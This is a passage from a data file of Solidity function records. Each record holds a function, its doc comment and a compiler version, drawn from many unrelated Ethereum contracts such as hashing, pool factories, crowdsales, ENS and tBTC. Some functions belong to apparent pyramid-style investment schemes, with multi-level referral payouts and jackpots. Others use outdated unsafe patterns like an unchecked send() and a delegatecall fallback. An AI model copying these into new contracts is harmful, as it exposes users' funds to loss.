let localQ := 0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001\r\n let t\r\n let a\r\n\r\n // Further n-2 subsequent rounds include a round constant\r\n for { let i := round_count } gt(i, 0) { i := sub(i, 1) } {\r\n // c = H(c)\r\n mstore(c, keccak256(c, 32))\r\n\r\n // x = pow(x + c_i, 7, p) + k\r\n t := addmod(addmod(in_x, mload(c), localQ), in_k, localQ) // t = x + c_i + k\r\n a := mulmod(t, t, localQ) // t^2\r\n in_x := mulmod(mulmod(a, mulmod(a, a, localQ), localQ), t, localQ) // t^7\r\n }\r\n\r\n // Result adds key again as blinding factor\r\n out_x := addmod(in_x, in_k, localQ)\r\n }\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * Returns calculated merkle root\r\n */", "function_code": "function verifyPath(uint256 leaf, uint256[15] memory in_path, bool[15] memory address_bits)\r\n internal \r\n pure \r\n returns (uint256 merkleRoot)\r\n {\r\n uint256[15] memory IVs;\r\n fillLevelIVs(IVs);\r\n\r\n merkleRoot = leaf;\r\n\r\n for (uint depth = 0; depth < TREE_DEPTH; depth++) {\r\n if (address_bits[depth]) {\r\n merkleRoot = hashImpl(in_path[depth], merkleRoot, IVs[depth]);\r\n } else {\r\n merkleRoot = hashImpl(merkleRoot, in_path[depth], IVs[depth]);\r\n }\r\n }\r\n }", "version": "0.5.0"} {"comment": "// should not be used in production otherwise nullifier_secret would be shared with node!", "function_code": "function makeLeafHash(uint256 nullifier_secret, address wallet_address)\r\n external\r\n pure\r\n returns (uint256)\r\n {\r\n // return MiMC.Hash([nullifier_secret, uint256(wallet_address)], 0);\r\n bytes32 digest = sha256(abi.encodePacked(nullifier_secret, uint256(wallet_address)));\r\n uint256 mask = uint256(-1) >> 4; // clear the first 4 bits to make sure we stay within the prime field\r\n return uint256(digest) & mask;\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * @notice Deploys a new pool and LP token.\r\n * @dev Decimals is an argument as not all ERC20 tokens implement the ERC20Detailed interface.\r\n * An implementation where `getUnderlying()` returns the zero address is for ETH pools.\r\n * @param poolName Name of the pool.\r\n * @param underlying Address of the pool's underlying.\r\n * @param lpTokenArgs Arguments to create the LP token for the pool\r\n * @param vaultArgs Arguments to create the vault\r\n * @param implementationNames Name of the implementations to use\r\n * @return addrs Address of the deployed pool, address of the pool's deployed LP token.\r\n */", "function_code": "function deployPool(\r\n string calldata poolName,\r\n uint256 depositCap,\r\n address underlying,\r\n LpTokenArgs calldata lpTokenArgs,\r\n VaultArgs calldata vaultArgs,\r\n ImplementationNames calldata implementationNames\r\n ) external onlyGovernance returns (Addresses memory addrs) {\r\n DeployPoolVars memory vars;\r\n\r\n vars.poolImplementation = implementations[_POOL_KEY][implementationNames.pool];\r\n require(vars.poolImplementation != address(0), Error.INVALID_POOL_IMPLEMENTATION);\r\n\r\n vars.lpTokenImplementation = implementations[_LP_TOKEN_KEY][implementationNames.lpToken];\r\n require(vars.lpTokenImplementation != address(0), Error.INVALID_LP_TOKEN_IMPLEMENTATION);\r\n\r\n vars.vaultImplementation = implementations[_VAULT_KEY][implementationNames.vault];\r\n require(vars.vaultImplementation != address(0), Error.INVALID_VAULT_IMPLEMENTATION);\r\n\r\n vars.stakerVaultImplementation = implementations[_STAKER_VAULT_KEY][\r\n implementationNames.stakerVault\r\n ];\r\n require(\r\n vars.stakerVaultImplementation != address(0),\r\n Error.INVALID_STAKER_VAULT_IMPLEMENTATION\r\n );\r\n\r\n addrs.pool = Clones.clone(vars.poolImplementation);\r\n addrs.vault = Clones.clone(vars.vaultImplementation);\r\n\r\n if (underlying == address(0)) {\r\n // ETH pool\r\n require(\r\n ILiquidityPool(vars.poolImplementation).getUnderlying() == address(0),\r\n Error.INVALID_POOL_IMPLEMENTATION\r\n );\r\n require(lpTokenArgs.decimals == 18, Error.INVALID_DECIMALS);\r\n IEthPool(addrs.pool).initialize(poolName, depositCap, addrs.vault);\r\n } else {\r\n IErc20Pool(addrs.pool).initialize(poolName, underlying, depositCap, addrs.vault);\r\n }\r\n\r\n addrs.lpToken = Clones.clone(vars.lpTokenImplementation);\r\n\r\n ILpToken(addrs.lpToken).initialize(\r\n lpTokenArgs.name,\r\n lpTokenArgs.symbol,\r\n lpTokenArgs.decimals,\r\n addrs.pool\r\n );\r\n\r\n addrs.stakerVault = Clones.clone(vars.stakerVaultImplementation);\r\n IStakerVault(addrs.stakerVault).initialize(addrs.lpToken);\r\n controller.addStakerVault(addrs.stakerVault);\r\n\r\n ILiquidityPool(addrs.pool).setLpToken(addrs.lpToken);\r\n ILiquidityPool(addrs.pool).setStaker();\r\n\r\n IVault(addrs.vault).initialize(\r\n addrs.pool,\r\n vaultArgs.debtLimit,\r\n vaultArgs.targetAllocation,\r\n vaultArgs.bound\r\n );\r\n\r\n addressProvider.addPool(addrs.pool);\r\n\r\n emit NewPool(addrs.pool, addrs.vault, addrs.lpToken, addrs.stakerVault);\r\n return addrs;\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @notice Add a new implementation of type `name` to the factory.\r\n * @param key of the implementation to add.\r\n * @param name of the implementation to add.\r\n * @param implementation of lp token implementation to add.\r\n */", "function_code": "function _addImplementation(\r\n bytes32 key,\r\n bytes32 name,\r\n address implementation\r\n ) internal returns (bool) {\r\n mapping(bytes32 => address) storage currentImplementations = implementations[key];\r\n if (currentImplementations[name] != address(0)) {\r\n return false;\r\n }\r\n currentImplementations[name] = implementation;\r\n emit NewImplementation(key, name, implementation);\r\n return true;\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Crowdsale in the constructor takes addresses of\r\n * the just deployed VLBToken and VLBRefundVault contracts\r\n * @param _tokenAddress address of the VLBToken deployed contract\r\n */", "function_code": "function VLBCrowdsale(address _tokenAddress, address _wallet, address _escrow, uint rate) public {\r\n require(_tokenAddress != address(0));\r\n require(_wallet != address(0));\r\n require(_escrow != address(0));\r\n\r\n escrow = _escrow;\r\n\r\n // Set initial exchange rate\r\n ETHUSD = rate;\r\n\r\n // VLBTokenwas deployed separately\r\n token = Token(_tokenAddress);\r\n\r\n vault = new VLBRefundVault(_wallet);\r\n bonuses = new VLBBonusStore();\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev main function to buy tokens\r\n * @param beneficiary target wallet for tokens can vary from the sender one\r\n */", "function_code": "function buyTokens(address beneficiary) whenNotPaused public payable {\r\n require(beneficiary != address(0));\r\n require(validPurchase(msg.value));\r\n\r\n uint256 weiAmount = msg.value;\r\n\r\n // buyer and beneficiary could be two different wallets\r\n address buyer = msg.sender;\r\n\r\n weiRaised = weiRaised.add(weiAmount);\r\n\r\n // calculate token amount to be created\r\n uint256 tokens = weiAmount.mul(getConversionRate());\r\n\r\n uint8 rate = bonuses.collectRate(beneficiary);\r\n if (rate != 0) {\r\n tokens = tokens.mul(rate).div(100);\r\n }\r\n\r\n if (!token.transferFrom(token.tokensWallet(), beneficiary, tokens)) {\r\n revert();\r\n }\r\n\r\n TokenPurchase(buyer, beneficiary, weiAmount, tokens);\r\n\r\n vault.deposit.value(weiAmount)(buyer);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev check if the current purchase valid based on time and amount of passed ether\r\n * @param _value amount of passed ether\r\n * @return true if investors can buy at the moment\r\n */", "function_code": "function validPurchase(uint256 _value) internal constant returns (bool) {\r\n bool nonZeroPurchase = _value != 0;\r\n bool withinPeriod = now >= startTime && now <= endTime;\r\n bool withinCap = !capReached(weiRaised.add(_value));\r\n\r\n // For presale we want to decline all payments less then minPresaleAmount\r\n bool withinAmount = msg.value >= MIN_SALE_AMOUNT;\r\n\r\n return nonZeroPurchase && withinPeriod && withinCap && withinAmount;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev returns current token price based on current presale time frame\r\n */", "function_code": "function getConversionRate() public constant returns (uint256) {\r\n if (now >= startTime + 106 days) {\r\n return 650;\r\n } else if (now >= startTime + 99 days) {\r\n return 676;\r\n } else if (now >= startTime + 92 days) {\r\n return 715;\r\n } else if (now >= startTime + 85 days) {\r\n return 780;\r\n } else if (now >= startTime) {\r\n return 845;\r\n }\r\n return 0;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * ERC677 transferandcall support\r\n */", "function_code": "function onTokenTransfer(address _sender, uint _value, bytes calldata _data) external {\r\n // make sure that only chainlink transferandcalls are supported\r\n require(msg.sender == tokenAddress);\r\n\r\n // convert _data to address\r\n bytes memory x = _data;\r\n address _referredBy;\r\n\r\n assembly {\r\n _referredBy := mload(add(x,20))\r\n }\r\n\r\n purchaseTokens(_value, _referredBy, _sender);\r\n }", "version": "0.5.17"} {"comment": "/// @dev Liquifies tokens to link.", "function_code": "function sell(uint256 _amountOfTokens) onlyBagholders public {\r\n // setup data\r\n address _customerAddress = msg.sender;\r\n // russian hackers BTFO\r\n require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);\r\n uint256 _tokens = _amountOfTokens;\r\n uint256 _link = tokensToLink_(_tokens);\r\n uint256 _dividends = SafeMath.div(SafeMath.mul(_link, exitFee_), 100);\r\n uint256 _taxedLink = SafeMath.sub(_link, _dividends);\r\n\r\n // burn the sold tokens\r\n tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);\r\n tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);\r\n\r\n // update dividends tracker\r\n int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedLink * magnitude));\r\n payoutsTo_[_customerAddress] -= _updatedPayouts;\r\n\r\n // dividing by zero is a bad idea\r\n if (tokenSupply_ > 0) {\r\n // update the amount of dividends per token\r\n profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);\r\n }\r\n\r\n // fire event\r\n\t\temit Transfer(_customerAddress, address(0x0), _tokens);\r\n emit onTokenSell(_customerAddress, _tokens, _taxedLink, now, buyPrice());\r\n }", "version": "0.5.17"} {"comment": "// @dev Function for find if premine", "function_code": "function jackPotInfo() public view returns (uint256 jackPot, uint256 timer, address jackPotPretender) {\r\n\t\tjackPot = jackPot_;\r\n\t\tif (jackPot > totalLinkBalance()) {\r\n\t\t\tjackPot = totalLinkBalance();\r\n\t\t}\r\n\t\tjackPot = SafeMath.div(jackPot,2);\r\n\t\t\r\n\t\ttimer = now - jackPotStartTime_;\r\n\t\tjackPotPretender = jackPotPretender_;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Calculate Referrers reward \r\n * Level 1: 35%, Level 2: 20%, Level 3: 15%, Level 4: 10%, Level 5: 10%, Level 6: 5%, Level 7: 5%\r\n */", "function_code": "function calculateReferrers(address _customerAddress, uint256 _referralBonus, uint8 _level) internal {\r\n\t\taddress _referredBy = referrers_[_customerAddress];\r\n\t\tuint256 _percent = 35;\r\n\t\tif (_referredBy != address(0x0)) {\r\n\t\t\tif (_level == 2) _percent = 20;\r\n\t\t\tif (_level == 3) _percent = 15;\r\n\t\t\tif (_level == 4 || _level == 5) _percent = 10;\r\n\t\t\tif (_level == 6 || _level == 7) _percent = 5;\r\n\t\t\tuint256 _newReferralBonus = SafeMath.div(SafeMath.mul(_referralBonus, _percent), 100);\r\n\t\t\treferralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _newReferralBonus);\r\n\t\t\tif (_level < 7) {\r\n\t\t\t\tcalculateReferrers(_referredBy, _referralBonus, _level+1);\r\n\t\t\t}\r\n\t\t}\r\n\t}", "version": "0.5.17"} {"comment": "/**\r\n * @dev Calculate JackPot \r\n * 40% from entryFee is going to JackPot \r\n * The last investor (with 0.2 link) will receive the jackpot in 12 hours \r\n */", "function_code": "function calculateJackPot(uint256 _incomingLink, address _customerAddress) internal {\r\n\t\tuint256 timer = SafeMath.div(SafeMath.sub(now, jackPotStartTime_), 12 hours);\r\n\t\tif (timer > 0 && jackPotPretender_ != address(0x0) && jackPot_ > 0) {\r\n\t\t\t//pay jackPot\r\n\t\t\tif (totalLinkBalance() < jackPot_) {\r\n\t\t\t\tjackPot_ = totalLinkBalance();\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t\tlinkContract.transfer(jackPotPretender_, SafeMath.div(jackPot_,2));\r\n\t\t\tjackPot_ = SafeMath.div(jackPot_,2);\r\n\t\t\tjackPotStartTime_ = now;\r\n\t\t\tjackPotPretender_ = address(0x0);\r\n\t\t}\r\n\t\t\r\n\t\tuint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingLink, entryFee()), 100);\r\n\t\tjackPot_ += SafeMath.div(SafeMath.mul(_undividedDividends, 40), 100);\r\n\t\t\r\n\t\tif (_incomingLink >= 10e18) { \r\n\t\t\tjackPotPretender_ = _customerAddress;\r\n\t\t\tjackPotStartTime_ = now;\r\n\t\t}\r\n\t}", "version": "0.5.17"} {"comment": "// Anyone can usurpation the kingship", "function_code": "function usurpation() {\r\n // Add more money for king usurpation cost\r\n if (msg.sender == madKing) {\r\n investInTheSystem(msg.value);\r\n kingCost += msg.value;\r\n } else {\r\n if (onThrone + PEACE_PERIOD <= block.timestamp && msg.value >= kingCost * 110 / 100) {\r\n // return the fees to before king\r\n madKing.send(kingBank);\r\n // offer sacrifices to the Gods\r\n godBank += msg.value * 5 / 100;\r\n investInTheSystem(msg.value);\r\n // new king\r\n kingCost = msg.value;\r\n madKing = msg.sender;\r\n onThrone = block.timestamp;\r\n } else {\r\n throw;\r\n }\r\n }\r\n }", "version": "0.3.1"} {"comment": "/**\r\n * Event emitting fallback.\r\n *\r\n * Can be and only called by authorized caller.\r\n * Delegate calls back with provided msg.data to emit an event.\r\n *\r\n * Throws if call failed.\r\n */", "function_code": "function () {\r\n if (!isAuthorized[msg.sender]) {\r\n return;\r\n }\r\n // Internal Out Of Gas/Throw: revert this transaction too;\r\n // Recursive Call: safe, all changes already made.\r\n if (!msg.sender.delegatecall(msg.data)) {\r\n throw;\r\n }\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Transfer tokens\r\n *\r\n * Send `_value` tokens to `_to` from your account\r\n *\r\n * @param _to The address of the recipient\r\n * @param _value the amount to send\r\n */", "function_code": "function transfer(address _to, uint256 _value) public {\r\n require(_to != address(0), \"Cannot use zero address\");\r\n require(_value > 0, \"Cannot use zero value\");\r\n\r\n require (balanceOf[msg.sender] >= _value, \"Balance not enough\"); // Check if the sender has enough\r\n require (balanceOf[_to] + _value >= balanceOf[_to], \"Overflow\" ); // Check for overflows\r\n \r\n uint previousBalances = balanceOf[msg.sender] + balanceOf[_to]; \r\n \r\n balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender\r\n balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient\r\n \r\n emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place\r\n \r\n assert(balanceOf[msg.sender] + balanceOf[_to] == previousBalances);\r\n }", "version": "0.5.9"} {"comment": "// get today current max investment", "function_code": "function getMaxInvestmentToday(data storage control) internal view returns (uint)\r\n {\r\n if (control.startAt == 0) {\r\n return 10000 ether; // disabled controlling, allow 10000 eth\r\n }\r\n\r\n if (control.startAt > now) {\r\n return 10000 ether; // not started, allow 10000 eth\r\n }\r\n\r\n return control.maxAmountPerDay - control.getTodayInvestment();\r\n }", "version": "0.4.24"} {"comment": "// remove all investors and prepare data for the new round!", "function_code": "function doRestart() private {\r\n uint txs;\r\n\r\n for (uint i = addresses.length - 1; i > 0; i--) {\r\n delete investors[addresses[i]]; // remove investor\r\n addresses.length -= 1; // decrease addr length\r\n if (txs++ == 150) { // stop on 150 investors (to prevent out of gas exception)\r\n return;\r\n }\r\n }\r\n\r\n emit NextRoundStarted(round, now, depositAmount);\r\n pause = false; // stop pause, play\r\n round += 1; // increase round number\r\n depositAmount = 0;\r\n paidAmount = 0;\r\n lastPaymentDate = now;\r\n }", "version": "0.4.24"} {"comment": "// Thunderstorm!\n// make the biggest investment today - and receive ref-commissions from ALL investors who not have a referrer in the next 10 days", "function_code": "function considerThunderstorm(uint amount) internal {\r\n // if current Thunderstorm dead, delete him\r\n if (thunderstorm.addr > 0x0 && thunderstorm.from + 10 days < now) {\r\n thunderstorm.addr = 0x0;\r\n thunderstorm.deposit = 0;\r\n emit ThunderstormUpdate(msg.sender, \"expired\");\r\n }\r\n\r\n // if the investment bigger than current Thunderstorm made - change Thunderstorm\r\n if (amount > thunderstorm.deposit) {\r\n thunderstorm = Thunderstorm(msg.sender, amount, now);\r\n emit ThunderstormUpdate(msg.sender, \"change\");\r\n }\r\n }", "version": "0.4.24"} {"comment": "// Deposit LP tokens to MasterChef for Pud allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n\n updatePool(_pid);\n if (user.shares > 0) {\n uint256 pending =\n user.shares.mul(pool.accPudPerShare).div(1e12).sub(\n user.rewardDebt\n );\n safePudTransfer(msg.sender, pending);\n }\n\n //\n uint256 _pool = balance(_pid); //get _pid lptoken balance\n if (_amount > 0) {\n uint256 _before = pool.lpToken.balanceOf(pool.strategy);\n\n pool.lpToken.safeTransferFrom(\n address(msg.sender),\n pool.strategy,\n _amount\n );\n\n uint256 _after = pool.lpToken.balanceOf(pool.strategy);\n _amount = _after.sub(_before); // Additional check for deflationary tokens\n }\n uint256 shares = 0;\n if (pool.totalShares == 0) {\n shares = _amount;\n } else {\n shares = (_amount.mul(pool.totalShares)).div(_pool);\n }\n\n user.shares = user.shares.add(shares); //add shares instead of amount\n user.rewardDebt = user.shares.mul(pool.accPudPerShare).div(1e12);\n pool.totalShares = pool.totalShares.add(shares); //add shares in pool\n\n emit Deposit(msg.sender, _pid, _amount);\n }", "version": "0.6.7"} {"comment": "// Returns true iff the specified name is available for registration.", "function_code": "function available(uint256 id) public view returns(bool) {\r\n // Not available if it's registered here or in its grace period.\r\n if(expiries[id] + GRACE_PERIOD >= now) {\r\n return false;\r\n }\r\n // Available if we're past the transfer period, or the name isn't\r\n // registered in the legacy registrar.\r\n return now > transferPeriodEnds || previousRegistrar.state(bytes32(id)) == Registrar.Mode.Open;\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev Register a name.\r\n */", "function_code": "function _register(uint256 id, address owner, uint duration, bool updateRegistry) internal live onlyController returns(uint) {\r\n require(available(id));\r\n require(now + duration + GRACE_PERIOD > now + GRACE_PERIOD); // Prevent future overflow\r\n\r\n expiries[id] = now + duration;\r\n if(_exists(id)) {\r\n // Name was previously owned, and expired\r\n _burn(id);\r\n }\r\n _mint(owner, id);\r\n if(updateRegistry) {\r\n ens.setSubnodeOwner(baseNode, bytes32(id), owner);\r\n }\r\n\r\n emit NameRegistered(id, owner, now + duration);\r\n\r\n return now + duration;\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev Transfers a registration from the initial registrar.\r\n * This function is called by the initial registrar when a user calls `transferRegistrars`.\r\n */", "function_code": "function acceptRegistrarTransfer(bytes32 label, Deed deed, uint) external live {\r\n uint256 id = uint256(label);\r\n\r\n require(msg.sender == address(previousRegistrar));\r\n require(expiries[id] == 0);\r\n require(transferPeriodEnds > now);\r\n\r\n uint registrationDate;\r\n (,,registrationDate,,) = previousRegistrar.entries(label);\r\n require(registrationDate < now - MIGRATION_LOCK_PERIOD);\r\n\r\n address owner = deed.owner();\r\n\r\n // Destroy the deed and transfer the funds back to the registrant.\r\n deed.closeDeed(1000);\r\n\r\n // Register the name\r\n expiries[id] = transferPeriodEnds;\r\n _mint(owner, id);\r\n\r\n ens.setSubnodeOwner(baseNode, label, owner);\r\n\r\n emit NameMigrated(id, owner, transferPeriodEnds);\r\n emit NameRegistered(id, owner, transferPeriodEnds);\r\n }", "version": "0.5.16"} {"comment": "/**\n * to update an split holder ratio at the index\n * index ranges from 0..totalHolders -1\n */", "function_code": "function setMintSplitHolder(uint256 index, address _wallet, uint256 _ratio) public onlyOwner returns (bool) {\n if (index > totalHolders - 1)\n return false;\n\n holders[ index ] = _wallet;\n MintSplitHolderRatios[ index ] = _ratio;\n\n return true;\n }", "version": "0.4.26"} {"comment": "/// @dev checks if required parameters are set for the contract", "function_code": "function _checkFee(uint256 _fee) internal view returns(bool) {\n if(_fee > 0) {\n require( msg.value >= _fee, \"Value less than fee\" );\n }\n return(true);\n //return ( (_fee == 0 && msg.value == 0) || (registratorAddress != address(0) && msg.value >= _fee ));\n }", "version": "0.8.1"} {"comment": "// @dev New Word register.", "function_code": "function memorialize(\n string memory _words,\n string memory _author,\n uint64 _dob\n )\n external\n payable\n returns (uint256)\n {\n\n\n require( _checkFee(fee) );\n\n Word memory _word = Word({\n id: 0,\n words: _words,\n author: _author,\n dob: _dob\n });\n\n uint256 _id = _storeWords(\n _word\n );\n\n // This will assign ownership, and also emit the Transfer event as\n // per ERC721 draft\n _mint(msg.sender, _id);\n \n emit Words(\n msg.sender,\n _words,\n _author,\n _dob\n );\n\n _payFee( fee );\n \n return _id;\n }", "version": "0.8.1"} {"comment": "/**\r\n * Construct the token.\r\n *\r\n * This token must be created through a team multisig wallet, so that it is owned by that wallet.\r\n *\r\n * @param _name Token name\r\n * @param _symbol Token symbol - should be all caps\r\n * @param _initialSupply How many tokens we start with\r\n * @param _decimals Number of decimal places\r\n * @param _mintable Are new tokens created over the crowdsale or do we distribute only the initial supply? Note that when the token becomes transferable the minting always ends.\r\n */", "function_code": "function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap)\r\n UpgradeableToken(msg.sender) {\r\n // Create any address, can be transferred\r\n // to team multisig via changeOwner(),\r\n // also remember to call setUpgradeMaster()\r\n owner = msg.sender;\r\n name = _name;\r\n symbol = _symbol;\r\n totalSupply = _initialSupply;\r\n decimals = _decimals;\r\n minCap = _globalMinCap;\r\n // Create initially all balance on the team multisig\r\n balances[owner] = totalSupply;\r\n if(totalSupply > 0) {\r\n Minted(owner, totalSupply);\r\n }\r\n // No more new supply allowed after the token creation\r\n if(!_mintable) {\r\n mintingFinished = true;\r\n if(totalSupply == 0) {\r\n throw; // Cannot create a token without supply and no minting\r\n }\r\n }\r\n }", "version": "0.4.11"} {"comment": "/**\r\n * This is an internal function, and it is the real operator to mint NFT to user,\r\n * it will return an array of tokenID after minting.\r\n */", "function_code": "function mintSpeficiedAmount(address owner, uint256 amount) internal returns (uint256[] memory) {\r\n uint256[] memory minted_ = new uint256[](amount);\r\n\r\n for(uint256 i = 0; i < amount; i ++) {\r\n uint256 tokenIdToMint = _currentTokenId_ + i + 1;\r\n _safeMint(owner, tokenIdToMint);\r\n minted_[i] = tokenIdToMint;\r\n }\r\n\r\n _currentTokenId_ += amount;\r\n\r\n return minted_;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * This function overrides the function defined in ERC721 contract,\r\n * before revealing or baseURI has not been set, it will always return the placeholder.\r\n * otherwise, the sequenceId will be calculated and combined to tokenURI.\r\n */", "function_code": "function tokenURI(uint256 tokenId_) public view override returns (string memory) {\r\n require(_exists(tokenId_), \"ERC721Metadata: URI query for nonexistent token\");\r\n\r\n if (!_isRevealed_) {\r\n return bytes(_placeholderBaseURI_).length > 0 ? \r\n string(abi.encodePacked(_placeholderBaseURI_, Strings.toString(tokenId_), \".json\")) : \"\";\r\n }\r\n\r\n return bytes(_baseURI_).length > 0 ? \r\n string(abi.encodePacked(_baseURI_, Strings.toString(_sequenceId(tokenId_)), \".json\")) : \"\";\r\n }", "version": "0.8.7"} {"comment": "/// @notice Burns TBTC and transfers the tBTC Deposit Token to the caller\n/// as long as it is qualified.\n/// @dev We burn the lotSize of the Deposit in order to maintain\n/// the TBTC supply peg in the Vending Machine. VendingMachine must be approved\n/// by the caller to burn the required amount.\n/// @param _tdtId ID of tBTC Deposit Token to buy.", "function_code": "function tbtcToTdt(uint256 _tdtId) public {\n require(tbtcDepositToken.exists(_tdtId), \"tBTC Deposit Token does not exist\");\n require(isQualified(address(_tdtId)), \"Deposit must be qualified\");\n\n uint256 depositValue = Deposit(address(uint160(_tdtId))).lotSizeTbtc();\n require(tbtcToken.balanceOf(msg.sender) >= depositValue, \"Not enough TBTC for TDT exchange\");\n tbtcToken.burnFrom(msg.sender, depositValue);\n\n // TODO do we need the owner check below? transferFrom can be approved for a user, which might be an interesting use case.\n require(tbtcDepositToken.ownerOf(_tdtId) == address(this), \"Deposit is locked\");\n tbtcDepositToken.transferFrom(address(this), msg.sender, _tdtId);\n }", "version": "0.5.17"} {"comment": "/// @notice Transfer the tBTC Deposit Token and mint TBTC.\n/// @dev Transfers TDT from caller to vending machine, and mints TBTC to caller.\n/// Vending Machine must be approved to transfer TDT by the caller.\n/// @param _tdtId ID of tBTC Deposit Token to sell.", "function_code": "function tdtToTbtc(uint256 _tdtId) public {\n require(tbtcDepositToken.exists(_tdtId), \"tBTC Deposit Token does not exist\");\n require(isQualified(address(_tdtId)), \"Deposit must be qualified\");\n\n tbtcDepositToken.transferFrom(msg.sender, address(this), _tdtId);\n\n // If the backing Deposit does not have a signer fee in escrow, mint it.\n Deposit deposit = Deposit(address(uint160(_tdtId)));\n uint256 signerFee = deposit.signerFee();\n uint256 depositValue = deposit.lotSizeTbtc();\n\n if(tbtcToken.balanceOf(address(_tdtId)) < signerFee) {\n tbtcToken.mint(msg.sender, depositValue.sub(signerFee));\n tbtcToken.mint(address(_tdtId), signerFee);\n }\n else{\n tbtcToken.mint(msg.sender, depositValue);\n }\n\n // owner of the TDT during first TBTC mint receives the FRT\n if(!feeRebateToken.exists(_tdtId)){\n feeRebateToken.mint(msg.sender, _tdtId);\n }\n }", "version": "0.5.17"} {"comment": "/// @notice Qualifies a deposit and mints TBTC.\n/// @dev User must allow VendingManchine to transfer TDT.", "function_code": "function unqualifiedDepositToTbtc(\n address payable _depositAddress,\n bytes4 _txVersion,\n bytes memory _txInputVector,\n bytes memory _txOutputVector,\n bytes4 _txLocktime,\n uint8 _fundingOutputIndex,\n bytes memory _merkleProof,\n uint256 _txIndexInBlock,\n bytes memory _bitcoinHeaders\n ) public {\n Deposit _d = Deposit(_depositAddress);\n require(\n _d.provideBTCFundingProof(\n _txVersion,\n _txInputVector,\n _txOutputVector,\n _txLocktime,\n _fundingOutputIndex,\n _merkleProof,\n _txIndexInBlock,\n _bitcoinHeaders\n ),\n \"failed to provide funding proof\");\n\n tdtToTbtc(uint256(_depositAddress));\n }", "version": "0.5.17"} {"comment": "/// @notice Redeems a Deposit by purchasing a TDT with TBTC for _finalRecipient,\n/// and using the TDT to redeem corresponding Deposit as _finalRecipient.\n/// This function will revert if the Deposit is not in ACTIVE state.\n/// @dev Vending Machine transfers TBTC allowance to Deposit.\n/// @param _depositAddress The address of the Deposit to redeem.\n/// @param _outputValueBytes The 8-byte Bitcoin transaction output size in Little Endian.\n/// @param _redeemerOutputScript The redeemer's length-prefixed output script.\n/// @param _finalRecipient The deposit redeemer. This address will receive the TDT.", "function_code": "function tbtcToBtc(\n address payable _depositAddress,\n bytes8 _outputValueBytes,\n bytes memory _redeemerOutputScript,\n address payable _finalRecipient\n ) public {\n require(tbtcDepositToken.exists(uint256(_depositAddress)), \"tBTC Deposit Token does not exist\");\n Deposit _d = Deposit(_depositAddress);\n\n tbtcToken.burnFrom(msg.sender, _d.lotSizeTbtc());\n tbtcDepositToken.approve(_depositAddress, uint256(_depositAddress));\n\n uint256 tbtcOwed = _d.getOwnerRedemptionTbtcRequirement(msg.sender);\n\n if(tbtcOwed != 0){\n tbtcToken.transferFrom(msg.sender, address(this), tbtcOwed);\n tbtcToken.approve(_depositAddress, tbtcOwed);\n }\n\n _d.transferAndRequestRedemption(_outputValueBytes, _redeemerOutputScript, _finalRecipient);\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Updates set of permissions (role) for a given user,\n * taking into account sender's permissions.\n *\n * @dev Setting role to zero is equivalent to removing an all permissions\n * @dev Setting role to `FULL_PRIVILEGES_MASK` is equivalent to\n * copying senders' permissions (role) to the user\n * @dev Requires transaction sender to have `ROLE_ACCESS_MANAGER` permission\n *\n * @param operator address of a user to alter permissions for or zero\n * to alter global features of the smart contract\n * @param role bitmask representing a set of permissions to\n * enable/disable for a user specified\n */", "function_code": "function updateRole(address operator, uint256 role) public {\n // caller must have a permission to update user roles\n require(isSenderInRole(ROLE_ACCESS_MANAGER), \"insufficient privileges (ROLE_ACCESS_MANAGER required)\");\n\n // evaluate the role and reassign it\n userRoles[operator] = evaluateBy(msg.sender, userRoles[operator], role);\n\n // fire an event\n emit RoleUpdated(msg.sender, operator, role, userRoles[operator]);\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Determines the permission bitmask an operator can set on the\n * target permission set\n * @notice Used to calculate the permission bitmask to be set when requested\n * in `updateRole` and `updateFeatures` functions\n *\n * @dev Calculated based on:\n * 1) operator's own permission set read from userRoles[operator]\n * 2) target permission set - what is already set on the target\n * 3) desired permission set - what do we want set target to\n *\n * @dev Corner cases:\n * 1) Operator is super admin and its permission set is `FULL_PRIVILEGES_MASK`:\n * `desired` bitset is returned regardless of the `target` permission set value\n * (what operator sets is what they get)\n * 2) Operator with no permissions (zero bitset):\n * `target` bitset is returned regardless of the `desired` value\n * (operator has no authority and cannot modify anything)\n *\n * @dev Example:\n * Consider an operator with the permissions bitmask 00001111\n * is about to modify the target permission set 01010101\n * Operator wants to set that permission set to 00110011\n * Based on their role, an operator has the permissions\n * to update only lowest 4 bits on the target, meaning that\n * high 4 bits of the target set in this example is left\n * unchanged and low 4 bits get changed as desired: 01010011\n *\n * @param operator address of the contract operator which is about to set the permissions\n * @param target input set of permissions to operator is going to modify\n * @param desired desired set of permissions operator would like to set\n * @return resulting set of permissions given operator will set\n */", "function_code": "function evaluateBy(address operator, uint256 target, uint256 